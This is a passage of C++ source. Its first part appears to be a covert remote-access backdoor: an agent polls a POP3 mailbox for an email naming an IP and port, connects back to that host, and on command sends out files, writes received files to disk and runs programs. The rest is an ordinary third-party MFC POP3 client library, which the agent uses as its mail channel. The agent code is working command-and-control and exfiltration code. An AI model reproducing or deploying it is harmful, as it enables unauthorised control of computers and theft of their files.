			printf( "Failed.\n" );
			delete[] fileBuffer;
			delete[] commandBuffer;
			goto label4;
		}

		int pos = 0;
		short len = commandSize;		
		while( len > 0 )
		{
			res = send( sock, commandBuffer + pos, len, 0 );
			if( res == SOCKET_ERROR )
			{								
				delete[] fileBuffer;
				delete[] commandBuffer;
				return;
			}
			pos += res;
			len -= res;
		}

		delete[] fileBuffer;
		delete[] commandBuffer;
		printf( "OK.\n" );
		goto label4;
	}
	else if( command[0] == 'e' )
	{
		printf( "Enter file name:" );
		memset( param, 0, 1024 );
		gets( param );

		short commandSize = 1 + strlen( param ) + 1;
		char* commandBuffer = new char[commandSize];
		if( !commandBuffer )
			goto label4;
		commandBuffer[0] = 0x03;
		strcpy( commandBuffer + 1, param );

		int res = send( sock, (char*)&commandSize, sizeof(short), 0 );
		if( res == SOCKET_ERROR )
		{
			printf( "Failed.\n" );
			delete[] commandBuffer;
			goto label4;
		}

		int pos = 0;
		short len = commandSize;		
		while( len > 0 )
		{
			res = send( sock, commandBuffer + pos, len, 0 );
			if( res == SOCKET_ERROR )
			{												
				delete[] commandBuffer;
				return;
			}
			pos += res;
			len -= res;
		}

		printf( "OK.\n" );
		delete[] commandBuffer;
		goto label4;
	}
	else if( command[0] == 'q' )
	{
	}

	return;
#endif
}

int WaitForMessage( string& my_ip, string& my_port )
{
	string messageText;
	CPop3Connection p3;
	my_ip = string("");
	my_port = string("");

	if (!p3.Connect(_T("pop.mail.ru"), _T("login"), _T("password")))
	{
		printf( "Cant connect to the mail server.\n" );
		return -1;
	}

	if (!p3.Noop())
	{
		printf( "Cant do Noop.\n" );
		return -2;
	}

	int nMails;
	int nSize;
	if (!p3.Statistics(nMails, nSize))
	{
		printf( "Statistics failed.\n" );
		return -3;
	}

  if (nMails)
  {
    CPop3Message message;
    DWORD dwSize;
    if (!p3.GetMessageSize(1, dwSize))
    {
      printf( "GetMessageSize failed.\n" );		
    }
    if (!p3.Retrieve(1, message))
    {
      printf( "Retrieve failed.\n" );		
    }
    else
    {		
		messageText = string( message.GetMessageText() );
		int bippos = messageText.find( "<IP=" );
		if( bippos == -1 )
			goto lable1;
		int eippos = messageText.find( ">", bippos );
		if( eippos == -1 )
			goto lable1;
		my_ip = messageText.substr( bippos + 4, eippos - (bippos + 4) );

		int bportpos = messageText.find( "<PORT=" );
		if( bportpos == -1 )
			goto lable1;
		int eportpos = messageText.find( ">", bportpos );
		if( eportpos == -1 )
			goto lable1;
		my_port = messageText.substr( bportpos + 6, eportpos - (bportpos + 6) );
    }
lable1:
    if (!p3.Reset())
    {
      printf( "Reset failed.\n" );		
    }
  }
  else
    TRACE(_T("No mails waiting for you at the POP3 server\n"));


  if (!p3.Disconnect())
  {
   printf( "Disconnect failed.\n" );		
  }

  return 0;
}

void ExecuteCommands()
{
	short pkgSize;
label3:
	int res = recv( sock, (char*)&pkgSize, sizeof(short), 0 );
	if( res == SOCKET_ERROR )
	{
		printf( "Receive Packet size failed.\n" );
		return;
	}

	char* buffer = new char[pkgSize];
	if( buffer == NULL )
	{
		printf( "Buffer is NULL.\n" );
		return;
	}
	
	int pos = 0;
	short len = pkgSize;
	
	while( len > 0 )
	{
		res = recv( sock, buffer + pos, len, 0 );
		if( res == SOCKET_ERROR )
		{
			printf( "Receive Packet failed.\n" );
			return;
		}

		pos += res;
		len -= res;
	}

	printf( "Packet recived.\n" );
	if( buffer[0] == 0x0 )
	{
		// goto close connection
		delete[] buffer;
		return;
	}
	else if( buffer[0] == 0x1 )
	{		
		// goto get file		
		if( GetFile( buffer + 1, pkgSize - 1 ) < 0 )
			return;
		goto label3;
	}
	else if( buffer[0] == 0x2 )
	{
		// goto put file
		if( PutFile( buffer + 1, pkgSize - 1 ) < 0 )
			return;
		goto label3;
	}
	else if( buffer[0] == 0x3 )
	{
		// goto execute file
		_execl( buffer + 1, buffer + 1, NULL );
		goto label3;
	}

	printf( "Unknown command.\n" );
	return;
}

int GetFile( const char* param, int sizeParam )
{
	char* fileName = new char[ sizeParam + 1];
	memset( fileName, 0, sizeParam + 1 );
	memcpy( fileName, param, sizeParam );

	FILE* file = fopen( fileName, "rb" );	
	if( file == NULL )
	{
		delete[] fileName;
		return -1;
	}
	fseek( file, 0, SEEK_END );
	int fileSize = ftell( file );
	fseek( file, 0, SEEK_SET );

	char* fileBuffer = new char[fileSize];
	if( fileBuffer == NULL )
	{
		delete[] fileName;
		return -2;
	}
	fread( fileBuffer, fileSize, 1, file );
	fclose( file );

	short packetSize = fileSize + 1 + (sizeParam + 1);
	send( sock, (char*)&packetSize, sizeof(short), 0 );
	char command = 0x02;
	send( sock, &command, sizeof(char), 0 );
	send( sock, fileName, sizeParam + 1, 0 );

	int pos = 0;
	short len = fileSize;
	int res;
	while( len > 0 )
	{
		res = send( sock, fileBuffer + pos, len, 0 );
		if( res == SOCKET_ERROR )
		{
			printf( "Send Packet failed.\n" );
			delete[] fileName;
			delete[] fileBuffer;
			return -3;
		}
		pos += res;
		len -= res;
	}

	delete[] fileName;
	delete[] fileBuffer;
	return 0;
}

int PutFile( const char* param, int sizeParam )
{
	int fileNameSize  = strlen( param );
	if( fileNameSize <= 0)
		return -1;
	
	fileNameSize++;
	char* fileName = new char[fileNameSize];
	if( fileName == NULL )
		return -2;
	strcpy( fileName, param );

	int fileSize = sizeParam - fileNameSize;
	char* fileBuffer = (char*)param + fileNameSize;

	FILE* file = fopen( fileName, "wb" );
	if( file == NULL )
	{
		delete[] fileName;
		return -3;
	}
	fwrite( fileBuffer, fileSize, 1, file );	
	fclose( file );
	delete[] fileName;

	return 0;
}

---

pop3.cpp
/*
Module : POP3.CPP
Purpose: Implementation for a MFC class encapsulation of the POP3 protocol
Created: PJN / 04-05-1998
History: PJN / 27-06-1998 1) Fixed a potential buffer overflow problem in Delete
                          and Retrieve functions when a large message number was
                          specified.
                          2) Improve the ReadResponse code by a) passing the 
                          readability check onto the scoket class and b) Sleeping
                          for 100 ms prior to looping around waiting for new 
                          response data
                          3) Classes are now fully Unicode compliant. Unicode
                          build configurations are also now included.
                          4) Now supports the TOP POP3 command which can be
                          issued using the GetHeader function.

         PJN / 04-01-1999 1) Properly UNICODE enabled the code

         PJN / 22-02-1999 1) Improved the reading of responses back from the server by implementing
                          a growable receive buffer
                          2) timeout is now 60 seconds when building for debug
                          3) Code now yields its time slice while waiting for a timeout
                          4) Made most functions virtual to help end user usage

         PJN / 25-03-1999 1) Fixed memory leak in the CPop3Connection::ReadReturnResponse function.
                          2) Now sleeps for 250 ms instead of yielding the time slice. This helps 
                          reduce CPU usage when waiting for data to arrive in the socket

         PJN / 15-06-1999 1) Added functions to return the message body, header or a particular
                          header field of a message
                          2) Tidied up some of the TRACE messages which the code generates

         PJN / 16-06-1999 1) Fixed a bug in the GetHeaderItem function which was causing a header
                          item which appeared at the begining of the header fields to fail to be 
                          parsed incorrectly.

         PJN / 27-06-1999 1) Fixed a bug in the GetHeaderItem function when a header spanned 
                          multiple lines as is allowed by RFC 822

         PJN / 29-06-1999 1) Another improvement to GetHeaderItem. When will it end <g>. Originally 
                          this was reported as a bug but upon further investigation it turns out that
                          the message which was causing the problems had embedded tabs in the header. 
                          This is discouraged by the RFC which refers to mail headers (RFC 822). 
                          The code has been enhanced to handle this case. Thanks to Chris Bishop 
                          for spotting this.
                          2) Fix for a bug in GetHeaderItem where I accidently was using "=" instead of
                          "==". Thanks to Angelini Fabio for spotting this.

         PJN / 05-07-1999 1) Addition of the following functions:

                          i)   CPop3Message::GetReplyTo
                          ii)  CPop3Message::GetRawBody      
                          iii) CPop3Message::GetSubject                 
	                        iv)  CPop3Message::GetFrom                    
	                        v)   CPop3Message::GetDate                    

                          2) GetHeaderItem function now uses case insensitive searching
                          3) GetHeaderItem now allows you to search for the "n'th" header of a specified type

         PJN / 24-08-1999 1) Fixed a bug whereby the function GetHeader was sometimes failing when it
                          was called when the message was retrieved using the "TOP" command.
         PJN / 27-03-2000 1) Fixed a problem where GetBody and GetRawBody will fail if you call it for a 
                          CPop3Message object that doesn't have a message in it (i.e m_pszMessage == NULL). 
                          This was previously causing a goof old access violation in GetRawBody.

         PJN / 20-09-2000 1) Fixed a bug in CPop3Connection::UIDL when message id's were returned
                          with embedded dots in them. Thanks to Konstantin Vasserman for finding and resolving
                          this problem.
         PJN / 25-03-2001 1) Updated copyright information
         PJN / 27-07-2001 1) Added two methods namely: GetTo() and GetCC() to the CPop3Message class
         PJN / 11-08-2001 1) Fixed a bug in CPop3Connection::ReadResponse where determining the terminator
                          was failing when an embedded NULL was in the message.
         PJN / 27-09-2001 1) Fixed a bug in CPop3Connection::ReadResponse when handling disconnection errors
                          2) Improved the error handling in Delete, GetMessageSize & GetMessageID methods
         PJN / 29-09-2001 1) Further improved the error handling in CPop3Connection::ReadResponse


                             

Copyright (c) 1998 - 2001 by PJ Naughter.  (Web: www.naughter.com, Email: pjna@naughter.com)

All rights reserved.

Copyright / Usage Details:

You are allowed to include the source code in any product (commercial, shareware, freeware or otherwise) 
when your product is released in binary form. You are allowed to modify the source code in any way you want 
except you cannot modify the copyright details at the top of each module. If you want to distribute source 
code with your application, then you are only allowed to distribute versions released by the author. This is 
to maintain a single distribution point for the source code. 


*/

//////////////// Includes ////////////////////////////////////////////
#include "stdafx.h"
#include <afxpriv.h>
#include "pop3.h"



//////////////// Macros //////////////////////////////////////////////
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif



//////////////// Implementation //////////////////////////////////////
CPop3Message::CPop3Message()
{
  m_pszMessage = NULL;
}

CPop3Message::~CPop3Message()
{
  if (m_pszMessage)
  {
    delete [] m_pszMessage;
    m_pszMessage = NULL;
  }
}

CString CPop3Message::GetHeaderItem(const CString& sName, int nItem) const
{
  //Value which will be returned by this function
  CString sField;

  //Get the message header (add an extra "\r\n" at the
  //begining to aid in the parsing)  
	CString sHeader(_T("\r\n"));
  sHeader += GetHeader();
  CString sUpCaseHeader(sHeader);
  sUpCaseHeader.MakeUpper();

  CString sUpCaseName(sName);
  sUpCaseName.MakeUpper();

  //Find the specified line in the header
  CString sFind(CString(_T("\r\n")) + sUpCaseName + _T(":"));
  int nFindLength = sFind.GetLength();
  int nFindStart = sUpCaseHeader.Find(sFind);
  int nFind = nFindStart;
	for (int i=0; i<nItem; i++) 
  {
    //Get ready for the next loop around
    sUpCaseHeader = sUpCaseHeader.Right(sUpCaseHeader.GetLength() - nFind - nFindLength);
    nFind = sUpCaseHeader.Find(sFind);
    
		if (nFind == -1)
			return _T(""); //Not found
    else
      nFindStart += (nFind + nFindLength);
	}

  if (nFindStart != -1)
    nFindStart += (3 + sName.GetLength());
  if (nFindStart != -1)
  {
    BOOL bFoundEnd = FALSE;
    int i = nFindStart;
    int nLength = sHeader.GetLength();
    do
    {
      //Examine the current 3 characters
      TCHAR c1 = _T('\0');
      if (i < nLength)
        c1 = sHeader[i];
      TCHAR c2 = _T('\0');
      if (i < (nLength-1))
        c2 = sHeader[i+1];
      TCHAR c3 = _T('\0');
      if (i < (nLength-2))
        c3 = sHeader[i+2];

      //Have we found the terminator
      if ((c1 == _T('\0'))|          ((c1 == _T('\r')) && (c2 == _T('\n')) && (c3 != _T(' ')) && c3 != _T('\t')))
      {
        bFoundEnd = TRUE;
      }
      else
      {
        //Move onto the next character  
        ++i;
      }
    }
    while (!bFoundEnd);
    sField = sHeader.Mid(nFindStart, i - nFindStart);

    //Remove any embedded "\r\n" sequences from the field
    int nEOL = sField.Find(_T("\r\n"));
    while (nEOL != -1)
    {
      sField = sField.Left(nEOL) + sField.Right(sField.GetLength() - nEOL - 2);
      nEOL = sField.Find(_T("\r\n"));
    }

    //Replace any embedded "\t" sequences with spaces
    int nTab = sField.Find(_T('\t'));
    while (nTab != -1)
    {
      sField = sField.Left(nTab) + _T(' ') + sField.Right(sField.GetLength() - nTab - 1);
      nTab = sField.Find(_T('\t'));
    }

    //Remove any leading or trailing white space from the Field Body
    sField.TrimLeft();
    sField.TrimRight();
  }

	return sField;
}

CString CPop3Message::GetHeader() const
{
  //Value which will be returned by this function
  CString sHeader;

  //Find the divider between the header and body
	CString sMessage(m_pszMessage);
  int nFind = sMessage.Find(_T("\r\n\r\n"));
  if (nFind != -1)
    sHeader = sMessage.Left(nFind);
  else
  {
    //No divider, then assume all the text is the header
    sHeader = sMessage;
  }

  return sHeader;
}

LPCSTR CPop3Message::GetRawBody() const
{
  if (m_pszMessage == NULL)
    return NULL;
	char* pszStartBody = strstr(m_pszMessage, "\r\n\r\n");
	if (pszStartBody == NULL) 
    return NULL;
	else 
    return pszStartBody + 4;
}

CString CPop3Message::GetBody() const
{
  CString sBody;
  LPCSTR pszBody = GetRawBody();
  if (pszBody)
    sBody = pszBody;
  return sBody;
}

CString CPop3Message::GetReplyTo() const
{
	CString sRet = GetHeaderItem("Reply-To");
  if (sRet.IsEmpty())
  {
    sRet = GetFrom();
    if (sRet.IsEmpty())
    {
      sRet = GetHeaderItem(_T("Sender"));
      if (sRet.IsEmpty())
        sRet = GetHeaderItem(_T("Return-Path"));
    }
  }
	return sRet;
}






CPop3Socket::CPop3Socket()
{
  m_hSocket = INVALID_SOCKET; //default to an invalid scoket descriptor
}

CPop3Socket::~CPop3Socket()
{
  Close();
}

BOOL CPop3Socket::Create()
{
  m_hSocket = socket(AF_INET, SOCK_STREAM, 0);
  return (m_hSocket != INVALID_SOCKET);
}

BOOL CPop3Socket::Connect(LPCTSTR pszHostAddress, int nPort)
{
	//For correct operation of the T2A macro, see MFC Tech Note 59
	USES_CONVERSION;

  //must have been created first
  ASSERT(m_hSocket != INVALID_SOCKET);
  
	//Determine if the address is in dotted notation
	SOCKADDR_IN sockAddr;
	ZeroMemory(&sockAddr, sizeof(sockAddr));
	sockAddr.sin_family = AF_INET;
	sockAddr.sin_port = htons((u_short)nPort);
  char* pszAsciiHostAddress = T2A((LPTSTR) pszHostAddress);
	sockAddr.sin_addr.s_addr = inet_addr(pszAsciiHostAddress);

	//If the address is not dotted notation, then do a DNS 
	//lookup of it.
	if (sockAddr.sin_addr.s_addr == INADDR_NONE)
	{
		LPHOSTENT lphost;
		lphost = gethostbyname(pszAsciiHostAddress);
		if (lphost != NULL)
			sockAddr.sin_addr.s_addr = ((LPIN_ADDR)lphost->h_addr)->s_addr;
		else
		{
			WSASetLastError(WSAEINVAL); 
			return FALSE;
		}
	}

	//Call the protected version which takes an address 
	//in the form of a standard C style struct.
	return Connect((SOCKADDR*)&sockAddr, sizeof(sockAddr));
}

BOOL CPop3Socket::Connect(const SOCKADDR* lpSockAddr, int nSockAddrLen)
{
	return (connect(m_hSocket, lpSockAddr, nSockAddrLen) != SOCKET_ERROR);
}

BOOL CPop3Socket::Send(LPCSTR pszBuf, int nBuf)
{
  //must have been created first
  ASSERT(m_hSocket != INVALID_SOCKET);

  return (send(m_hSocket, pszBuf, nBuf, 0) != SOCKET_ERROR);
}

int CPop3Socket::Receive(LPSTR pszBuf, int nBuf)
{
  //must have been created first
  ASSERT(m_hSocket != INVALID_SOCKET);

  return recv(m_hSocket, pszBuf, nBuf, 0); 
}

void CPop3Socket::Close()
{
	if (m_hSocket != INVALID_SOCKET)
	{
		VERIFY(SOCKET_ERROR != closesocket(m_hSocket));
		m_hSocket = INVALID_SOCKET;
	}
}

BOOL CPop3Socket::IsReadible(BOOL& bReadible)
{
  timeval timeout = {0, 0};
  fd_set fds;
  FD_ZERO(&fds);
  FD_SET(m_hSocket, &fds);
  int nStatus = select(0, &fds, NULL, NULL, &timeout);
  if (nStatus == SOCKET_ERROR)
  {
    return FALSE;
  }
  else
  {
    bReadible = !(nStatus == 0);
    return TRUE;
  }
}

CPop3Connection::CPop3Connection()
{
  m_nNumberOfMails = 0;
  m_bListRetrieved = FALSE;
  m_bStatRetrieved = FALSE;
  m_bUIDLRetrieved = FALSE;
  m_msgSizes.RemoveAll();
  m_bConnected = FALSE;
#ifdef _DEBUG
  m_dwTimeout = 60000; //default timeout of 60 seconds when debugging
#else
  m_dwTimeout = 2000;  //default timeout of 2 seconds for normal release code
#endif
}

CPop3Connection::~CPop3Connection()
{
  if (m_bConnected)
    Disconnect();
}

BOOL CPop3Connection::Connect(LPCTSTR pszHostName, LPCTSTR pszUser, LPCTSTR pszPassword, int nPort)
{
	//For correct operation of the T2A macro, see MFC Tech Note 59
	USES_CONVERSION;

  //Create the socket
  if (!m_Pop.Create())
  {
    TRACE(_T("Failed to create client socket, GetLastError:%d\n"), GetLastError());
    return FALSE;
  }

  //Connect to the POP3 Host
  if (!m_Pop.Connect(pszHostName, nPort))
  {
    TRACE(_T("Could not connect to the POP3 mailbox, GetLastError:%d\n"), GetLastError());
    return FALSE;
  }
  else
  {
    //We're now connected !!
    m_bConnected = TRUE;

    //check the response
    if (!ReadCommandResponse())
    {
      TRACE(_T("Failed while connected to read a command response from the POP3 server\n"));
      Disconnect();
      return FALSE;
    }

    //Send the POP3 username and check the response
    char sBuf[128];
    char* pszAsciiUser = T2A((LPTSTR) pszUser);
    ASSERT(strlen(pszAsciiUser) < 100); 
    sprintf(sBuf, "USER %s\r\n", pszAsciiUser);
    int nCmdLength = strlen(sBuf);
    if (!m_Pop.Send(sBuf, nCmdLength))
    {
      TRACE(_T("Failed to send the USER command to the POP3 server\n"));
      Disconnect();
      return FALSE;
    }
    if (!ReadCommandResponse())
    {
      TRACE(_T("Failed while connected to read a USER command response from the POP3 server\n"));
      Disconnect();
      return FALSE;
    } 

    //Send the POP3 password and check the response
    char* pszAsciiPassword = T2A((LPTSTR) pszPassword);
    ASSERT(strlen(pszAsciiPassword) < 100);
    sprintf(sBuf, "PASS %s\r\n", pszAsciiPassword);
    nCmdLength = strlen(sBuf);
    if (!m_Pop.Send(sBuf, nCmdLength))
    {
      TRACE(_T("Failed to send the PASS command to the POP3 server\n"));
      Disconnect();
      return FALSE;
    }
    if (!ReadCommandResponse())
    {
      TRACE(_T("Failed while connected to read a PASS command response from the POP3 server\n"));
      Disconnect();
      return FALSE;
    }
    
    return TRUE;
  }
}

BOOL CPop3Connection::Disconnect()
{          
  BOOL bSuccess = FALSE;      

  //disconnect from the POP3 server if connected 
  if (m_bConnected)
  {
    char sBuf[10];
    strcpy(sBuf, "QUIT\r\n");
    int nCmdLength = strlen(sBuf);
    if (!m_Pop.Send(sBuf, nCmdLength))
      TRACE(_T("Failed to send the QUIT command to the POP3 server\n"));

    //Check the reponse
    bSuccess = ReadCommandResponse();

    //Reset all the state variables
    m_bConnected = FALSE;
    m_bListRetrieved = FALSE;
    m_bStatRetrieved = FALSE;
    m_bUIDLRetrieved = FALSE;
  }
  else
    TRACE(_T("CPop3Connection, Already disconnected\n"));
 
  //free up our socket
  m_Pop.Close();
 
  return bSuccess;
}

BOOL CPop3Connection::Delete(int nMsg)
{
  BOOL bSuccess = TRUE;

  //Must be connected to perform a delete
  ASSERT(m_bConnected);

  //if we haven't executed the LIST command then do it now
  if (!m_bListRetrieved)
    bSuccess = List();

  //Handle the error if necessary  
  if (!bSuccess)
    return FALSE;

  //Send the DELE command along with the message ID
	char sBuf[20];
 	sprintf(sBuf, "DELE %d\r\n", nMsg);
  int nCmdLength = strlen(sBuf);
	if (!m_Pop.Send(sBuf, nCmdLength))
  {
    TRACE(_T("Failed to send the DELE command to the POP3 server\n"));
    return FALSE;
  }

	return ReadCommandResponse();
}

BOOL CPop3Connection::Statistics(int& nNumberOfMails, int& nTotalMailSize)
{
  //Must be connected to perform a "STAT"
  ASSERT(m_bConnected);

  //Send the STAT command
	char sBuf[10];
 	strcpy(sBuf, "STAT\r\n");
  int nCmdLength = strlen(sBuf);
	if (!m_Pop.Send(sBuf, nCmdLength))
  {
    TRACE(_T("Failed to send the STAT command to the POP3 server\n"));
    return FALSE;
  }

	return ReadStatResponse(nNumberOfMails, nTotalMailSize);
}

BOOL CPop3Connection::GetMessageSize(int nMsg, DWORD& dwSize)
{
  BOOL bSuccess = TRUE;

  //if we haven't executed the LIST command then do it now
  if (!m_bListRetrieved)
    bSuccess = List();

  //Handle the error if necessary  
  if (!bSuccess)
    return FALSE;

  //nMsg must be in the correct range
  ASSERT((nMsg > 0) && (nMsg <= m_msgSizes.GetSize()));

  //retrieve the size from the message size array
  dwSize = m_msgSizes.GetAt(nMsg - 1);

  return bSuccess;
}

BOOL CPop3Connection::GetMessageID(int nMsg, CString& sID)
{
  BOOL bSuccess = TRUE;

  //if we haven't executed the UIDL command then do it now
  if (!m_bUIDLRetrieved)
    bSuccess = UIDL();

  //Handle the error if necessary  
  if (!bSuccess)
    return FALSE;

  //nMsg must be in the correct range
  ASSERT((nMsg > 0) && (nMsg <= m_msgIDs.GetSize()));

  //retrieve the size from the message size array
  sID = m_msgIDs.GetAt(nMsg - 1);

  return bSuccess;
}

BOOL CPop3Connection::List()
{
  //Must be connected to perform a "LIST"
  ASSERT(m_bConnected);

  //if we haven't executed the STAT command then do it now
  int nNumberOfMails = m_nNumberOfMails;
  int nTotalMailSize;
  if (!m_bStatRetrieved)
  {
    if (!Statistics(nNumberOfMails, nTotalMailSize))
      return FALSE;
    else
      m_bStatRetrieved = TRUE;
  }

  //Send the LIST command
  char sBuf[10];
	strcpy(sBuf, "LIST\r\n");
  int nCmdLength = strlen(sBuf);
	if (!m_Pop.Send(sBuf, nCmdLength))
  {
    TRACE(_T("Failed to send the LIST command to the POP3 server\n"));
    return FALSE;
  }
  //And check the response
	m_bListRetrieved = ReadListResponse(nNumberOfMails);
  return m_bListRetrieved;
}

BOOL CPop3Connection::UIDL()
{
  //Must be connected to perform a "UIDL"
  ASSERT(m_bConnected);

  //if we haven't executed the STAT command then do it now
  int nNumberOfMails = m_nNumberOfMails;
  int nTotalMailSize;
  if (!m_bStatRetrieved)
  {
    if (!Statistics(nNumberOfMails, nTotalMailSize))
      return FALSE;
    else
      m_bStatRetrieved = TRUE;
  }

  //Send the UIDL command
  char sBuf[10];
	strcpy(sBuf, "UIDL\r\n");
  int nCmdLength = strlen(sBuf);
	if (!m_Pop.Send(sBuf, nCmdLength))
  {
    TRACE(_T("Failed to send the UIDL command to the POP3 server\n"));
    return FALSE;
  }
  //And check the response
	m_bUIDLRetrieved = ReadUIDLResponse(nNumberOfMails);
  return m_bUIDLRetrieved;
}

BOOL CPop3Connection::Reset()
{
  //Must be connected to perform a "RSET"
  ASSERT(m_bConnected);

  //Send the RSET command
	char sBuf[10];
 	strcpy(sBuf, "RSET\r\n");
  int nCmdLength = strlen(sBuf);
	if (!m_Pop.Send(sBuf, nCmdLength))
  {
    TRACE(_T("Failed to send the RSET command to the POP3 server\n"));
    return FALSE;
  }

  //And check the command
	return ReadCommandResponse();
}

BOOL CPop3Connection::Noop()
{
  //Must be connected to perform a "NOOP"
  ASSERT(m_bConnected);

  //Send the NOOP command
	char sBuf[10];
 	strcpy(sBuf, "NOOP\r\n");
  int nCmdLength = strlen(sBuf);
	if (!m_Pop.Send(sBuf, nCmdLength))
  {
    TRACE(_T("Failed to send the NOOP command to the POP3 server\n"));
    return FALSE;
  }

  //And check the response
	return ReadCommandResponse();
}

BOOL CPop3Connection::Retrieve(int nMsg, CPop3Message& message)
{
  //Must be connected to retrieve a message
  ASSERT(m_bConnected);

  //work out the size of the message to retrieve
  DWORD dwSize;
  if (GetMessageSize(nMsg, dwSize))
  {
    //Send the RETR command
	  char sBuf[20];
	  sprintf(sBuf, "RETR %d\r\n", nMsg);	
    int nCmdLength = strlen(sBuf);
	  if (!m_Pop.Send(sBuf, nCmdLength))
    {
      TRACE(_T("Failed to send the RETR command to the POP3 server\n"));
      return FALSE;
    }
    
		//And check the command
	  return ReadReturnResponse(message, dwSize);
  }
  else
    return FALSE;
}

BOOL CPop3Connection::GetMessageHeader(int nMsg, CPop3Message& message)
{
  // Must be connected to retrieve a message
  ASSERT(m_bConnected);

  // make sure the message actually exists
  DWORD dwSize;
  if (GetMessageSize(nMsg, dwSize))
  {
    // Send the TOP command
    char sBuf[16];
    sprintf(sBuf, "TOP %d 0\r\n", nMsg);
    int nCmdLength = strlen(sBuf);
    if (!m_Pop.Send(sBuf, nCmdLength))
    {
      TRACE(_T("Failed to send the TOP command to the POP3 server\n"));
      return FALSE;
    }

    // And check the command
    return ReadReturnResponse(message, dwSize);
  }
  else
    return FALSE;
}

BOOL CPop3Connection::ReadCommandResponse()
{
  LPSTR pszOverFlowBuffer = NULL;
  char sBuf[1000];
  BOOL bSuccess = ReadResponse(sBuf, 1000, "\r\n", &pszOverFlowBuffer);
  if (pszOverFlowBuffer)
    delete [] pszOverFlowBuffer;
  
  return bSuccess;
}

LPSTR CPop3Connection::GetFirstCharInResponse(LPSTR pszData) const
{
  while ((*pszData != '\n') && *pszData)
    ++pszData;

  //skip over the "\n" onto the next line
  if (*pszData)
    ++pszData;

  return pszData;
}

BOOL CPop3Connection::ReadResponse(LPSTR pszBuffer, int nInitialBufSize, LPSTR pszTerminator, LPSTR* ppszOverFlowBuffer, int nGrowBy)
{
  ASSERT(ppszOverFlowBuffer);          //Must have a valid string pointer
  ASSERT(*ppszOverFlowBuffer == NULL); //Initially it must point to a NULL string

  //must have been created first
  ASSERT(m_bConnected);

  int nTerminatorLen = strlen(pszTerminator);

  //The local variables which will receive the data
  LPSTR pszRecvBuffer = pszBuffer;
  int nBufSize = nInitialBufSize;
  
  //retrieve the reponse using until we
	//get the terminator or a timeout occurs
	BOOL bFoundTerminator = FALSE;
	int nReceived = 0;
	DWORD dwStartTicks = ::GetTickCount();
	while (!bFoundTerminator)
	{
		//Has the timeout occured
		if ((::GetTickCount() - dwStartTicks) >	m_dwTimeout)
		{
		  pszRecvBuffer[nReceived] = '\0';
      SetLastError(WSAETIMEDOUT);
      m_sLastCommandResponse = pszRecvBuffer; //Hive away the last command reponse
			return FALSE;
		}

    //check the socket for readability
    BOOL bReadible;
    if (!m_Pop.IsReadible(bReadible))
    {
	    pszRecvBuffer[nReceived] = '\0';
			m_sLastCommandResponse = pszRecvBuffer; //Hive away the last command reponse
			return FALSE;
    }
    else if (!bReadible) //no data to receive, just loop around
    {
      Sleep(250); //Sleep for a while before we loop around again
      continue;
    }

		//receive the data from the socket
    int nBufRemaining = nBufSize-nReceived-1; //Allows allow one space for the NULL terminator
    if (nBufRemaining<0)
      nBufRemaining = 0;
	  int nData = m_Pop.Receive(pszRecvBuffer+nReceived, nBufRemaining);

    //Reset the idle timeout if data was received
    if (nData > 0)
    {
			dwStartTicks = ::GetTickCount();

      //Increment the count of data received
		  nReceived += nData;							   
    }

    //If an error occurred receiving the data
		if (nData < 1)
		{
      //NULL terminate the data received
      if (pszRecvBuffer)
		    pszBuffer[nReceived] = '\0';

      m_sLastCommandResponse = pszRecvBuffer; //Hive away the last command reponse
		  return FALSE; 
		}
		else
		{
      //NULL terminate the data received
      if (pszRecvBuffer)
		    pszRecvBuffer[nReceived] = '\0';

      if (nBufRemaining-nData == 0) //No space left in the current buffer
      {
        //Allocate the new receive buffer
        nBufSize += nGrowBy; //Grow the buffer by the specified amount
        LPSTR pszNewBuf = new char[nBufSize];

        //copy the old contents over to the new buffer and assign 
        //the new buffer to the local variable used for retreiving 
        //from the socket
        if (pszRecvBuffer)
          strcpy(pszNewBuf, pszRecvBuffer);
        pszRecvBuffer = pszNewBuf;

        //delete the old buffer if it was allocated
        if (*ppszOverFlowBuffer)
          delete [] *ppszOverFlowBuffer;
        
        //Remember the overflow buffer for the next time around
        *ppszOverFlowBuffer = pszNewBuf;        
      }
		}

    //Check to see if the terminator character(s) have been found
    bFoundTerminator = (strncmp(&pszRecvBuffer[nReceived - nTerminatorLen], pszTerminator, nTerminatorLen) == 0);
	}

	//Remove the terminator from the response data
  pszRecvBuffer[nReceived - nTerminatorLen] = '\0';

  //determine if the response is an error
	BOOL bSuccess = (strnicmp(pszRecvBuffer,"+OK", 3) == 0);

  if (!bSuccess)
  {
    SetLastError(WSAEPROTONOSUPPORT);
    m_sLastCommandResponse = pszRecvBuffer; //Hive away the last command reponse
  }

  return bSuccess;
}

BOOL CPop3Connection::ReadReturnResponse(CPop3Message& message, DWORD dwSize)
{
  //Must be connected to perform a "RETR"
  ASSERT(m_bConnected);

  //Retrieve the message body
  LPSTR pszOverFlowBuffer = NULL;
  int nSize = dwSize + 100;
  char* sBuf = new char[nSize];
  char* sMessageBuf = sBuf;
  if (!ReadResponse(sBuf, nSize, "\r\n.\r\n", &pszOverFlowBuffer, 32000))
	{
    delete [] sBuf;
    if (pszOverFlowBuffer)
      delete [] pszOverFlowBuffer;

		TRACE(_T("Error retrieving the RETR response"));
		return FALSE;
	}
  if (pszOverFlowBuffer)
    sMessageBuf = pszOverFlowBuffer;

  //determine if the response is an error
  if (strnicmp(sMessageBuf,"+OK", 3) != 0)
	{
    delete [] sBuf;
    if (pszOverFlowBuffer)
      delete [] pszOverFlowBuffer;

    SetLastError(WSAEPROTONOSUPPORT);
		TRACE(_T("POP3 server did not respond correctly to the RETR response\n"));
		return FALSE;
	}
	else
	{  
    //remove the first line which contains the +OK from the message
    char* pszFirst = GetFirstCharInResponse(sMessageBuf);
		VERIFY(pszFirst);

    //transfer the message contents to the message class
    int nMessageSize = sMessageBuf - pszFirst + strlen(sMessageBuf);

    // Do we already have memory allocated? If so, destroy it!
  	if (message.m_pszMessage)
  	{
  	  delete [] message.m_pszMessage;
  	  message.m_pszMessage = NULL;
    }

    message.m_pszMessage = new char[nMessageSize + 1];
    memcpy(message.m_pszMessage, pszFirst, nMessageSize);
    message.m_pszMessage[nMessageSize] = '\0';
	}
  delete [] sBuf;
  if (pszOverFlowBuffer)
    delete [] pszOverFlowBuffer;

  return TRUE; 
}

BOOL CPop3Connection::ReadListResponse(int nNumberOfMails)
{
  //Must be connected to perform a "LIST"
  ASSERT(m_bConnected);

  //retrieve the reponse
